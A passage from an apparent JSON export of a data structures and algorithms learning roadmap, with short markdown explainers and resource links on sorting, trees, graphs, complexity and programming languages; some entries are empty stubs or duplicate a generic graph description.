    "content": "# Heap Sort\n\nHeap Sort is an efficient, comparison-based sorting algorithm. It utilizes a data structure known as a 'binary heap', and works by dividing its input into a sorted and an unsorted region, and iteratively shrinking the unsorted region by extracting the largest element and moving that to the sorted region. It's an in-place algorithm but not a stable sort. It involves building a Max-Heap, which is a specialized tree-based data structure, and then swapping the root node (maximum element) with the last node, reducing the size of heap by one and heapifying the root node. The maximum element is now at the end of the list and this step is repeated until all nodes are sorted. Heap Sort offers a good worst-case runtime of O(n log n), irrespective of the input data.\n\nVisit the following resources to learn more:\n\n- [@article@Heap Sort Visualize](https://www.hackerearth.com/practice/algorithms/sorting/heap-sort/tutorial/)\n- [@video@Heap sort in 4 minutes](https://www.youtube.com/watch?v=2DmK_H7IdTo)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/heap@R3Coq0TG1_cSOXzXWgpuI.md",
    "content": "# Heap\n\nA heap is a type of data structure in computer science that is like a tree, where each parent node is always bigger (in a max heap) or smaller (in a min heap) than its child nodes.\n\nVisit the following resources to learn more:\n\n- [@article@Heap Data Structure](https://www.programiz.com/dsa/heap-data-structure)\n- [@video@Heap Data Structure](https://www.youtube.com/watch?v=t0Cq6tVNRBA)\n- [@video@Heaps and Priority Queues](https://www.youtube.com/watch?v=B7hVxCmfPtM)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/how-to-calculate-complexity@HosRc0hczubBHrWxCzEJj.md",
    "content": "# How to Calculate Complexity?\n\nThe process of calculating algorithmic complexity, often referred to as Big O notation, involves counting the operations or steps an algorithm takes in function of the size of its input. The aim is to identify the worst-case, average-case, and best-case complexity. Generally, the main focus is on the worst-case scenario which represents the maximum number of steps taken by an algorithm. To calculate it, you consider the highest order of size (n) in your algorithm's steps. For instance, if an algorithm performs a loop 5 times for 'n' items, and then does 3 unrelated steps, it has a complexity of O(n), because the linear steps grow faster than constant ones as n increases. Other complexities include O(1) for constant complexity, O(n) for linear complexity, O(n^2) for quadratic complexity, and so on, based on how the steps increase with size.\n\nVisit the following resources to learn more:\n\n- [@video@Time & Space Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@How Write and Analyze Algorithm](https://www.youtube.com/watch?v=xGYsEqe9Vl0)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/in-order-traversal@iCA7UKZih4ItDmDNEC8Q-.md",
    "content": "# In-Order Traversal\n\nIn order traversal is a method for traversing binary trees. This method follows a specific order: Left Node, Root Node, then Right Node (L-N-R). Starting from the leftmost node of the tree, you first visit the left subtree, then the root node, and finally the right subtree. If the tree is a binary search tree, in order traversal will output the values of the nodes in the tree in ascending order. This traversal method is recursive in nature, as it requires each subtree to be visited in the exact same way."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/indexing@Ar7GEGfI9O_dLPbIEVhF_.md",
    "content": "# Indexing\n\nIndexing is a data structure technique to efficiently retrieve data from a database. It essentially creates a lookup that can be used to quickly find the location of data records on a disk. Indexes are created using a few database columns and are capable of rapidly locating data without scanning every row in a database table each time the database table is accessed. Indexes can be created using any combination of columns in a database table, reducing the amount of time it takes to find data.\n\nIndexes can be structured in several ways: Binary Tree, B-Tree, Hash Map, etc., each having its own particular strengths and weaknesses. When creating an index, it's crucial to understand which type of index to apply in order to achieve maximum efficiency. Indexes, like any other database feature, must be used wisely because they require disk space and need to be maintained, which can slow down insert and update operations."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/insertion-sort@liJfTV5ajAFZcfwBdVGpU.md",
    "content": "# Insertion Sort\n\nVisit the following resources to learn more:\n\n- [@course@Insertion Sort](https://youtu.be/JU767SDMDvA)\n- [@article@Insertion Sort Visualization](https://www.hackerearth.com/practice/algorithms/sorting/insertion-sort/visualize/)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/isam@uxErZ4gLeKqwhrUG88InQ.md",
    "content": "# ISAM\n\nISAM, which stands for Indexed Sequential Access Method, is a type of disk storage access method developed by IBM. It combines features of both sequential and direct access methods to store and retrieve data. ISAM primarily organizes data sequentially but creates an index to provide direct access to the data blocks. This index allows for quick retrieval of data records, improving efficiency and performance. A key feature of ISAM is that it maintains the data sequence even after insertions and deletions, ensuring that the data remains ordered for efficient processing.\n\nVisit the following resources to learn more:\n\n- [@video@DBMS - Index Sequential Access Method (ISAM)](https://www.youtube.com/watch?v=EiW1VVPor10)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/island-traversal@q9qLI6HzOJ0vYaIVrZ5CU.md",
    "content": "# Island traversal"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/java@gjZZOwmYkXQHPfg9Ynz80.md",
    "content": "# Java\n\nJava is general-purpose language, primarily used for Internet-based applications. It was created in 1995 by James Gosling at Sun Microsystems and is one of the most popular options for backend developers.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Java Roadmap](https://roadmap.sh/java)\n- [@official@Java Website](https://www.java.com/)\n- [@video@Java Crash Course](https://www.youtube.com/watch?v=eIrMbAQSU34)\n- [@video@Complete Java course](https://www.youtube.com/watch?v=xk4_1vDrzzo)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/javascript@HVD9G3JlLBsAg111vQILj.md",
    "content": "# JavaScript\n\nJavaScript allows you to add interactivity to your pages. Common examples that you may have seen on the websites are sliders, click interactions, popups and so on. Apart from being used on the frontend in browsers, there is Node.js which is an open-source, cross-platform, back-end JavaScript runtime environment that runs on the V8 engine and executes JavaScript code outside a web browser.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@The Modern JavaScript Tutorial](https://javascript.info/)\n- [@article@Official Documentation](https://nodejs.org/en/learn/getting-started/introduction-to-nodejs)\n- [@video@JavaScript Crash Course for Beginners](https://youtu.be/hdI2bqOjy3c)\n- [@video@Node.js Crash Course](https://www.youtube.com/watch?v=fBNz5xF-Kx4)\n- [@video@Node.js Tutorial for Beginners](https://www.youtube.com/watch?v=TlB_eWDSMt4)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/kruskals-algorithm@F3bPbwIdCNMzL7QXEYJK3.md",
    "content": "# Kruskal's Algorithm\n\nKruskal's algorithm is a popular procedure in computer science for finding minimum spanning trees in a graph, developed by Joseph Kruskal in 1956. The algorithm operates by sorting the edges of the graph by their weight in ascending order. Then, it loops through each, adding the edge to the spanning tree if it doesn't form a circuit with the edges already there. This process repeats until all the vertices in the graph are included in the tree. Kruskal's algorithm belongs to the group of Greedy Algorithms as it tries to find the local optimum at each stage with the hope of finding the global optimum. It has an overall time complexity of O(E log E) or O(E log V), where E is the number of edges and V is the number of vertices."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/kth-element@JcchUF_U99zkFpXp3VT2R.md",
    "content": "# Kth Element"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/language-syntax@kE6qddRhO8C5ur3JbeuhF.md",
    "content": "# Language Syntax\n\nLanguage syntax refers to the set of rules that dictate how programs written in a particular programming language must be structured. This can include rules for how to declare variables, how to call functions, how to structure control flow statements, and so on. Syntax varies significantly between different programming languages, so it is critical to grasp the specific syntax of the language you are using. It’s similar to grammar in human languages - putting words in the wrong order or including extraneous punctuation can make a sentence hard to understand, and the same applies to programming. Incorrect syntax leads to syntax errors which prevent your code from executing.\n\nLearn the language syntax of the programming language you are using."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/leetcode@waM_j5mbe_XoA7h8u4vFN.md",
    "content": "# Leetcode\n\n[LeetCode](https://leetcode.com/) is a widely recognized online platform used for preparing coding interviews and improving problem-solving skills. It offers a vast collection of programming challenges that can be solved in multiple programming languages. The problems are categorized by difficulty level, and each problem has a solution provided by the community. LeetCode also provides a discussion board for each problem where users can discuss solutions, optimized ideas, and their thoughts. It also features mock interviews, articles, and a strong community of programmers to engage and learn from."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/linear-search@AtX-PeI8nY4-5bA-xLla0.md",
    "content": "# Linear Search\n\nLinear search is one of the simplest search algorithms. In this method, every element in an array is checked sequentially starting from the first until a match is found or all elements have been checked. It is also known as sequential search. It works on both sorted and unsorted lists, and does not need any preconditioned list for the operation. However, its efficiency is lesser as compared to other search algorithms since it checks all elements one by one.\n\nVisit the following resources to learn more:\n\n- [@video@Learn Linear Search in 3 minutes](https://www.youtube.com/watch?v=246V51AWwZM)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/linear@4noav5w_8GrMTXN1Lxm5h.md",
    "content": "# Linear Indexing\n\nLinear indexing is a type of data structure method where each element of an array is indexed successively in a linear format. This method treats multi-dimensional arrays as a long vector and provides a simple way to traverse through all the elements of the array in a sequence without the need for multiple loop statements. For instance, in a 2D array, the first index refers to rows and the second to columns. Using linear indexing, elements are indexed from top left to bottom right moving row by row. Despite its simplicity, this method is often less efficient than other forms of indexing for multidimensional arrays."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/linear@HOpL-4jYhOe0LNrrkPrET.md",
    "content": "# Linear\n\nLinear time complexity, denoted as O(n), is one of the best possible algorithmic performance situations. An algorithm is said to have a linear time complexity when the running time increases at most linearly with the size of the input data. This means that if you double the size of the input, the running time will at most double as well. In an ideal situation, every single element in the data set should be viewed exactly once. Sorting algorithms such as counting sort and bucket sort have linear time complexity under certain conditions."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/linked-lists@bRu9u8pEAQ1TmKygjIjyI.md",
    "content": "# Linked Lists\n\nLinked Lists are a type of data structure used for storing collections of data. The data is stored in nodes, each of which contains a data field and a reference (link) to the next node in the sequence. Structurally, a linked list is organized into a sequence or chain of nodes, hence the name. Two types of linked lists are commonly used: singly linked lists, where each node points to the next node and the last node points to null, and doubly linked lists, where each node has two links, one to the previous node and another one to the next. Linked Lists are used in other types of data structures like stacks and queues.\n\nVisit the following resources to learn more:\n\n- [@video@Introduction To Linked List](https://youtu.be/Nq7ok-OyEpg?si=xttaGoYKcoJ09Ln2)\n- [@video@Python Linked List](https://www.youtube.com/watch?v=qp8u-frRAnU&list=PLeo1K3hjS3uu_n_a__MI_KktGTLYopZ12&index=4&ab_channel=codebasics)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/logarithmic@Cnceet0yroFHzn8npAir8.md",
    "content": "# Logarithmic\n\nLogarithmic time complexity (O(log n)) often indicates that the algorithm halves the size of the input at each step. It's more efficient compared to linear time complexity. Binary search is a classic example of logarithmic time complexity where at every step, the algorithm breaks the list into half until it finds the desired element. As the size of the input increases, the growth of the time taken by an algorithm with logarithmic complexity grows slowly because it divides the problem into smaller parts in each step."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/merge-intervals@S2mBvlFTd673XcXxisD5P.md",
    "content": "# Merge Intervals"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/merge-sort@k0UBAj3hOYab4mUziOYyW.md",
    "content": "# Merge Sort\n\n**Merge sort** is a type of sorting algorithm that follows the divide-and-conquer paradigm. It was invented by John von Neumann in 1945. This algorithm works by dividing an unsorted list into `n` partitions, each containing one element (a list of one element is considered sorted), then repeatedly merging partitions to produce new sorted lists until there is only 1 sorted list remaining. This resulting list is the fully sorted list. The process of dividing the list is done recursively until it hits the base case of a list with one item. Merge sort has a time complexity of `O(n log n)` for all cases (best, average and worst), which makes it highly efficient for large data sets.\n\nVisit the following resources to learn more:\n\n- [@article@Merge Sort Visualize](https://www.hackerearth.com/practice/algorithms/sorting/merge-sort/visualize/)\n- [@video@Merge Sort](https://www.youtube.com/watch?v=4VqmGXwpLqc)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/minimum-spanning-tree@Ktqau1VkVrnnVYByqcacM.md",
    "content": "# Graph Data Structure\n\nA **Graph Data Structure** consists of a set of vertices (or nodes) and edges where each edge connects a pair of vertices. It can be visualized as networks consisting of elements in interconnected various relationships. There are two major types of graphs: Directed and Undirected. In a directed graph, all the edges are unidirectional - they only go one way. On the other hand, in an undirected graph, the edges are not directed - they are bidirectional. Another concept important to graphs is the idea of 'Weighted' and 'Unweighted' graphs. In a weighted graph, each edge is assigned a weight or cost. Unweighted graphs don't have these extra edge information. Graphs have a diverse set of applications in computer science, from creating connections between web pages to modeling networks and much more."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/multi-threaded@gaaRAL3HR48Qj9rz1CkDU.md",
    "content": "# Multi-threaded"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/oop-basics@QFR1FMOf2OV3n3jcDnOCP.md",
    "content": "# OOP Basics\n\nObject-oriented programming (OOP) is a programming paradigm that uses \"objects\" to design applications and software. In OOP, each object is an instance of a class. A class defines the properties (often known as attributes or fields) and methods (actions) that are common to all objects of a certain kind. A key principle of OOP is the ability to hide certain parts of the objects’ data from the outside, a concept known as encapsulation. Other key principles are inheritance, a way to form new classes using classes that have already been defined, and polymorphism, the concept of designing objects to share behaviors and being able to override shared behaviors with specifics.\n\nVisit the following resources to learn more:\n\n- [@video@Object-Oriented Programming (Simplified)](https://youtu.be/pTB0EiLXUC8?si=I8rV2K5fhpoqmixX)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/pick-a-language@Z4uVzAoNzcAkyjd-lp3_M.md",
    "content": "# Pick a Language\n\nPick a programming language to practice data structures and algorithms with. You should pick a language that you are comfortable with or plan to adopt."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/platforms-to-practice@VMV4F-SPKWn9CtpHXEjeN.md",
    "content": "# Platforms for Practice\n\nThere are numerous platforms for practicing data structures and algorithms. Some of the notable ones include LeetCode, with a vast collection of challenges and a robust community, and HackerRank, which provides a diverse set of problems and hosts competitive coding contests. Other platforms such as CodeChef, AtCoder, and TopCoder also host contests and have a vast problemset archive. For those interested in learning through problem-solving and real-world coding, platforms like Project Euler and CodeSignal could be more appealing. Practice can also be undertaken through interactive platforms like Codewars and Exercism, which offer gamified experiences. Another option is InterviewBit, which provides problems contextualized within interview scenarios. These platforms cover a broad range of difficulty levels and languages, offering a comprehensive practice environment for beginners and experts alike."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/polynomial@QKhmM_IG1FkBudfdrf1aT.md",
    "content": "# Polynomial\n\nPolynomial time complexity, denoted as O(n^k), is a class of time complexity that represents the amount of time an algorithm takes to run as being proportional to the size of the input data raised to a constant power 'k'. Polynomial time complexity includes runtimes like O(n), O(n^2), O(n^3), etc. The value 'n' is a representation of the size of the input, while 'k' represents a constant. Algorithms running in polynomial time are considered to be reasonably efficient for small and medium-sized inputs, but can become impractical for large input sizes due to the rapid growth rate of function."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/post-order-traversal@j6_DyKiyG1wBuygQkxWB7.md",
    "content": "# Post-Order Traversal\n\nPost Order Traversal is a technique used in Binary Tree structure where each node is processed after its child nodes. As the name suggests, it first traverses the left subtree, then the right subtree, and finally the root node. The process is recursively repeated for each subtree until the entire tree has been traversed. This traversal method is often used for calculations that require that all child nodes be processed before the parent, such as evaluating a mathematical expression represented in a tree structure."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/pre-order-traversal@BMEoO65zsX51H4Js1gcWI.md",
    "content": "# Pre-Order Traversal\n\nPre Order Traversal is a very specific kind of tree traversal in data structures. In this method of traversal, the process starts from the root node, then proceeds to the left subtree, and finally to the right subtree. To put it concisely, the order of traversal is Root, Left, and Right (often abbreviated as R-L-R). This makes it particularly useful in scenarios where it's important to duplicate or clone a tree, or to get a prefix expression (Polish notation) of a binary expression tree."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/prims-algorithm@yEWnYjW0ZLVhsLc9rH4ae.md",
    "content": "# Prim's Algorithm\n\nPrim's algorithm is a greedy algorithm that finds a minimum spanning tree for a weighted undirected graph. This means it finds a subset of the edges that forms a tree that includes every vertex, where the total weight of all the edges in the tree is minimized. The algorithm operates by building this tree one vertex at a time, from an arbitrary starting vertex, at each step adding the cheapest possible connection from the tree to another vertex."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/problem-solving-techniques@Y1Uz6XRbR1YqFtO4akiPA.md",
    "content": "# Problem Solving Techniques\n\n\"Problem Solving Techniques\" is a topic that explore various methods used to solve problems in computing and mathematics. They are approaches and procedures that help in the systematic identification and resolution of complex issues. Some of these techniques include \"Divide and Conquer\" where a problem is split into subproblems to make it easier to solve, \"Dynamic Programming\" which solves problems by dividing them into smaller similar sub-problems and storing the solutions of these subproblems to avoid unnecessary calculations, \"Greedy Algorithms\" which make the globally optimal choice at each step, \"Backtracking\" is used when problem can be solved incrementally, \"Branch and Bound\" method is used for optimization problems. These techniques are designed to efficiently solve problems by significantly reducing the time and computational effort required."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/programming-fundamentals@ebQdTOAOV54WBToHmFtBk.md",
    "content": "# Programming Fundamentals\n\nProgramming Fundamentals are the basic concepts and principles that form the foundation of any computer programming language. These include understanding variables, which store data for processing, control structures such as loops and conditional statements that direct the flow of a program, data structures which organize and store data efficiently, and algorithms which step by step instructions to solve specific problems or perform specific tasks. Mastery of these fundamentals forms the basis for learning any specific programming language and for writing efficient, effective code."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/pseudo-code@tvy3Vic8Vp-Ie2x_OyZ5b.md",
    "content": "# Pseudo Code\n\nPseudo code is a plain language description of the steps in an algorithm or another system. It is intended for human reading rather than machine reading. Pseudo code often uses control structures and terms common to popular high-level programming languages without strictly adhering to the syntax of any particular one. The foremost aim of pseudocode is to explain the inner \"algorithmic thinking\" behind coding, rather than focusing on the syntax of a particular language. A nice feature of pseudocode is that it is largely able to be understood by a wider range of people than the corresponding code in a specific programming language, which enhances its roles in drafting, documentation, learning, and collaboration aspects."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/python@XyRCXhZjQFcDNaUSNNQV-.md",
    "content": "# Python\n\nPython is a well known programming language which is both a strongly typed and a dynamically typed language. Being an interpreted language, code is executed as soon as it is written and the Python syntax allows for writing code in functional, procedural or object-oriented programmatic ways.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python Website](https://www.python.org/)\n- [@official@Python Getting Started](https://www.python.org/about/gettingstarted/)\n- [@article@Automate the Boring Stuff](https://automatetheboringstuff.com/)\n- [@article@Python principles - Python basics](https://pythonprinciples.com/)\n- [@article@Python Crash Course](https://ehmatthes.github.io/pcc/)\n- [@article@An Introduction to Python for Non-Programmers](https://thenewstack.io/an-introduction-to-python-for-non-programmers/)\n- [@article@Getting Started with Python and InfluxDB](https://thenewstack.io/getting-started-with-python-and-influxdb/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/queues@v0phjC75jhmE1z-f9ZMck.md",
    "content": "# Queues\n\nQueues are a type of data structure in which elements are held in a sequence and access is restricted to one end. Elements are added (\"enqueued\") at the rear end and removed (\"dequeued\") from the front. This makes queues a First-In, First-Out (FIFO) data structure. This type of organization is particularly useful for specific situations such as printing jobs, handling requests in a web server, scheduling tasks in a system, etc. Due to its FIFO property, once a new element is inserted into the queue, all elements that were inserted before the new element must be removed before the new element can be invoked. The fundamental operations associated with queues include Enqueue (insert), Dequeue (remove) and Peek (get the top element).\n\nVisit the following resources to learn more:\n\n- [@video@Queue](https://www.youtube.com/watch?v=M6GnoUDpqEE)\n- [@video@Python Queue](https://www.youtube.com/watch?v=rUUrmGKYwHw)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/quick-sort@LgEV0Wm4avrOqR8bV5GXW.md",
    "content": "# Quick Sort\n\nQuicksort, also known as partition-exchange sort, is an efficient, in-place sorting algorithm, which uses divide and conquer principles. It was developed by Tony Hoare in 1959. It operates by selecting a 'pivot' element from the array and partitioning the other elements into two sub-arrays, according to whether they are less than or greater than the pivot. The sub-arrays are then recursively sorted. This process continues until the base case is achieved, which is when the array or sub-array has zero or one element, hence is already sorted. Quicksort can have worst-case performance of O(n^2) if the pivot is the smallest or the largest element in the array, although this scenario is rare if the pivot is chosen randomly. The average case time complexity is O(n log n).\n\nVisit the following resources to learn more:\n\n- [@article@Quick Sort Visualize](https://www.hackerearth.com/practice/algorithms/sorting/quick-sort/visualize/)\n- [@video@A Complete Overview of Quicksort](https://www.youtube.com/watch?v=0SkOjNaO1XY)\n- [@video@QuickSort](https://www.youtube.com/watch?v=7h1s2SojIRw)\n- [@video@QuickSort Analysis](https://www.youtube.com/watch?v=-qOVVRIZzao)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/randomised-algorithms@RiS8KZs3YBE6mKWPHszMp.md",
    "content": "# Randomised Algorithms\n\nRandomised algorithms are a type of algorithm that employs a degree of randomness as part of the logic of the algorithm. These algorithms use random numbers to make decisions, and thus, even for the same input, can produce different outcomes on different executions. The correctness of these algorithms are probabilistic and they are particularly useful when dealing with a large input space. There are two major types of randomised algorithms: Las Vegas algorithms, which always give the correct answer, but their running time is a random variable; and Monté Carlo algorithms, where the algorithm has a small probability of viability or accuracy.\n\nVisit the following resources to learn more:\n\n- [@video@Algorithm Classification Randomized Algorithm](https://www.youtube.com/watch?v=J_EVG6yCOz0)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/recursion@4ZAzcwP0oPGZ9Rw042V8-.md",
    "content": "# Recursion\n\nRecursion is a method where the solution to a problem depends on solutions to shorter instances of the same problem. It involves a function calling itself while having a condition for its termination. This technique is mostly used in programming languages like C++, Java, Python, etc. There are two main components in a recursive function: the base case (termination condition) and the recursive case, where the function repeatedly calls itself. All recursive algorithms must have a base case to prevent infinite loops. Recursion can be direct (if a function calls itself) or indirect (if the function A calls another function B, which calls the first function A).\n\nVisit the following resources to learn more:\n\n- [@video@Recursion in 100 Seconds](https://www.youtube.com/watch?v=rf60MejMz3E)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/ruby@9h1mz0xAUvPrnRm9VndJF.md",
    "content": "# Ruby\n\nRuby is a high-level, interpreted programming language that blends Perl, Smalltalk, Eiffel, Ada, and Lisp. Ruby focuses on simplicity and productivity along with a syntax that reads and writes naturally. Ruby supports procedural, object-oriented and functional programming and is dynamically typed.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby Website](https://www.ruby-lang.org/en/)\n- [@article@Learn Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)\n- [@article@Ruby, An Introduction to a Programmer’s Best Friend](https://thenewstack.io/ruby-a-programmers-best-friend/)\n- [@feed@Explore top posts about Ruby](https://app.daily.dev/tags/ruby?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/rust@acgRMEuL4ZGGRHpZ7kXSo.md",
    "content": "# Rust\n\nRust is a modern systems programming language focusing on safety, speed, and concurrency. It accomplishes these goals by being memory safe without using garbage collection.\n\nVisit the following resources to learn more:\n\n- [@article@The Rust Programming Language - online book](https://doc.rust-lang.org/book/)\n- [@article@Rust by Example - collection of runnable examples](https://doc.rust-lang.org/stable/rust-by-example/index.html)\n- [@article@Rust vs. Go: Why They’re Better Together](https://thenewstack.io/rust-vs-go-why-theyre-better-together/)\n- [@article@Rust by the Numbers: The Rust Programming Language in 2021](https://thenewstack.io/rust-by-the-numbers-the-rust-programming-language-in-2021/)\n- [@feed@Explore top posts about Rust](https://app.daily.dev/tags/rust?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/search-algorithms@LW5HZMca4lvhbbA8KYaOa.md",
    "content": "# Graph Data Structure\n\nA **Graph Data Structure** consists of a set of vertices (or nodes) and edges where each edge connects a pair of vertices. It can be visualized as networks consisting of elements in interconnected various relationships. There are two major types of graphs: Directed and Undirected. In a directed graph, all the edges are unidirectional - they only go one way. On the other hand, in an undirected graph, the edges are not directed - they are bidirectional. Another concept important to graphs is the idea of 'Weighted' and 'Unweighted' graphs. In a weighted graph, each edge is assigned a weight or cost. Unweighted graphs don't have these extra edge information. Graphs have a diverse set of applications in computer science, from creating connections between web pages to modeling networks and much more."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/search-algorithms@YJsAQWJpLwVN6oCxNwNAn.md",
    "content": "# Tree Data Structures\n\nA **Tree data structure** is a type of non-linear, hierarchical data structure that consists of nodes connected by edges. It follows the parent-child relationship, with the top node being called the root. Each node in a tree can have child nodes and each of these child nodes has a single parent node. Nodes with same parents are known as siblings. Nodes without any children are referred to as leaves. Its structure allows the organization of data in a natural hierarchy. The simplification it provides in accessing, managing and manipulating data with complex relationships makes it a vital data structure in computer science. Implementations of the tree data structure are seen in databases, file systems, and HTML DOM."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/search-algorithms@z_Cf_alLAYSCyYtNviRcO.md",
    "content": "# Search Algorithms\n\nSearch algorithms are techniques used for finding a specific item or group of items among a collection of data. The primary types of search algorithms are linear search, binary search, depth-first search, and breadth-first search. Linear and binary search are explained in this section. The other two types in a next section of this roadmap."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/segment-trees@iFNS3x9wVRIjpixct6H7x.md",
    "content": "# Segment Trees\n\nA **Segment Tree** is a data structure designed for efficient processing of range queries and updates on array elements. In a situation where you have an array and you need to execute several types of queries including updating array elements and computing sum or minimum or maximum of elements in a given range, segment trees could be a great choice. The tree itself is a height-balanced binary tree and is filled with data from the input array. The leaves of the Segment Tree contain the array elements, while the internal nodes store information needed for processing the query, often the sum, minimum, or maximum of the elements represented by their child nodes. Efficient implementation of segment trees can achieve query and update operations in logarithmic time."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/selection-sort@SMgBHvqXLD6Cgr2nix4wR.md",
    "content": "# Selection Sort\n\nSelection Sort is a simple and intuitive sorting algorithm. It works by dividing the array into two parts - sorted and unsorted. Initially, the sorted part is empty and the unsorted part contains all the elements. The algorithm repeatedly selects the smallest (or largest, if sorting in descending order) element from the unsorted part and moves that to the end of the sorted part. The process continues until the unsorted part becomes empty and the sorted part contains all the elements. Selection sort is not efficient on large lists, as its time complexity is O(n²) where n is the number of items.\n\nVisit the following resources to learn more:\n\n- [@article@Selection Sort Visualize](https://www.hackerearth.com/practice/algorithms/sorting/selection-sort/practice-problems/)\n- [@video@Selection sort in 3 minutes](https://www.youtube.com/watch?v=g-PGLbMth_g&t=5s)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/shortest-path-algorithms@N-qvYirxpORcaTslvlOL0.md",
    "content": "# Graph Data Structure\n\nA **Graph Data Structure** consists of a set of vertices (or nodes) and edges where each edge connects a pair of vertices. It can be visualized as networks consisting of elements in interconnected various relationships. There are two major types of graphs: Directed and Undirected. In a directed graph, all the edges are unidirectional - they only go one way. On the other hand, in an undirected graph, the edges are not directed - they are bidirectional. Another concept important to graphs is the idea of 'Weighted' and 'Unweighted' graphs. In a weighted graph, each edge is assigned a weight or cost. Unweighted graphs don't have these extra edge information. Graphs have a diverse set of applications in computer science, from creating connections between web pages to modeling networks and much more."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/skip-list@TQu-OBpvR-aQfMByUcwyM.md",
    "content": "# Skip List\n\nA **Skip List** is a probabilistic data structure that allows efficient search, insertion, and removal operations. It is a layered list that consists of a base list holding all the elements and several lists layered on top, each layer containing a random subset of the elements from the layer below. The highest level contains only one element, the maximum. Every element in the lists is connected by a link to the element of the same value in the list below. This structure provides a balance between the speed of binary search trees and the ease of implementation of linked lists, providing an efficient means for storing data while allowing fast retrieval, even within large sets of data.\n\nVisit the following resources to learn more:\n\n- [@video@Skip Lists](https://www.youtube.com/watch?v=NDGpsfwAaqo)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/sliding-window-technique@gbHVR-ojRxv9I0E5eSlWy.md",
    "content": "# Sliding Window Technique\n\nThe **Sliding Window Technique** is an algorithmic paradigm that manages a subset of items in a collection of objects, like an array or list, by maintaining a range of elements observed, which is referred to as the 'window'. The window 'slides' over the data to examine different subsets of its contents. This technique is often used in array-related coding problems and is particularly useful for problems that ask for maximums or minimums over a specific range within the dataset. This technique can help to greatly reduce the time complexity when dealing with problems revolving around sequential or contiguous data. Common examples of its application are in solving problems like maximum sum subarray or minimum size subsequence with a given sum.\n\nVisit the following resources to learn more:\n\n- [@article@Mastering Sliding Window Techniques](https://medium.com/@rishu__2701/mastering-sliding-window-techniques-48f819194fd7)\n- [@video@Sliding window technique](https://www.youtube.com/watch?v=p-ss2JNynmw)"
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/sorting-algorithms@WzFkdkcbL8ea9DBkjfSwa.md",
    "content": "# Sorting Algorithms\n\nSorting algorithms are used to rearrange a given array or list elements according to a comparison operator on the elements. The comparison operator is used to decide the new order of element in the respective data structure. For example, the numerical order is a commonly used sequence but a lexicographical order is also a commonly used sequence type. There are several types of sorting algorithms: quick sort, bubble sort, merge sort, insertion sort, selection sort, heap sort, radix sort, bucket sort among others. Each has its own properties and are suited to specific types of tasks and data."
  },
  {
    "path": "src/data/roadmaps/datastructures-and-algorithms/content/stacks@jvKRykGNy140FlquF2fcK.md",
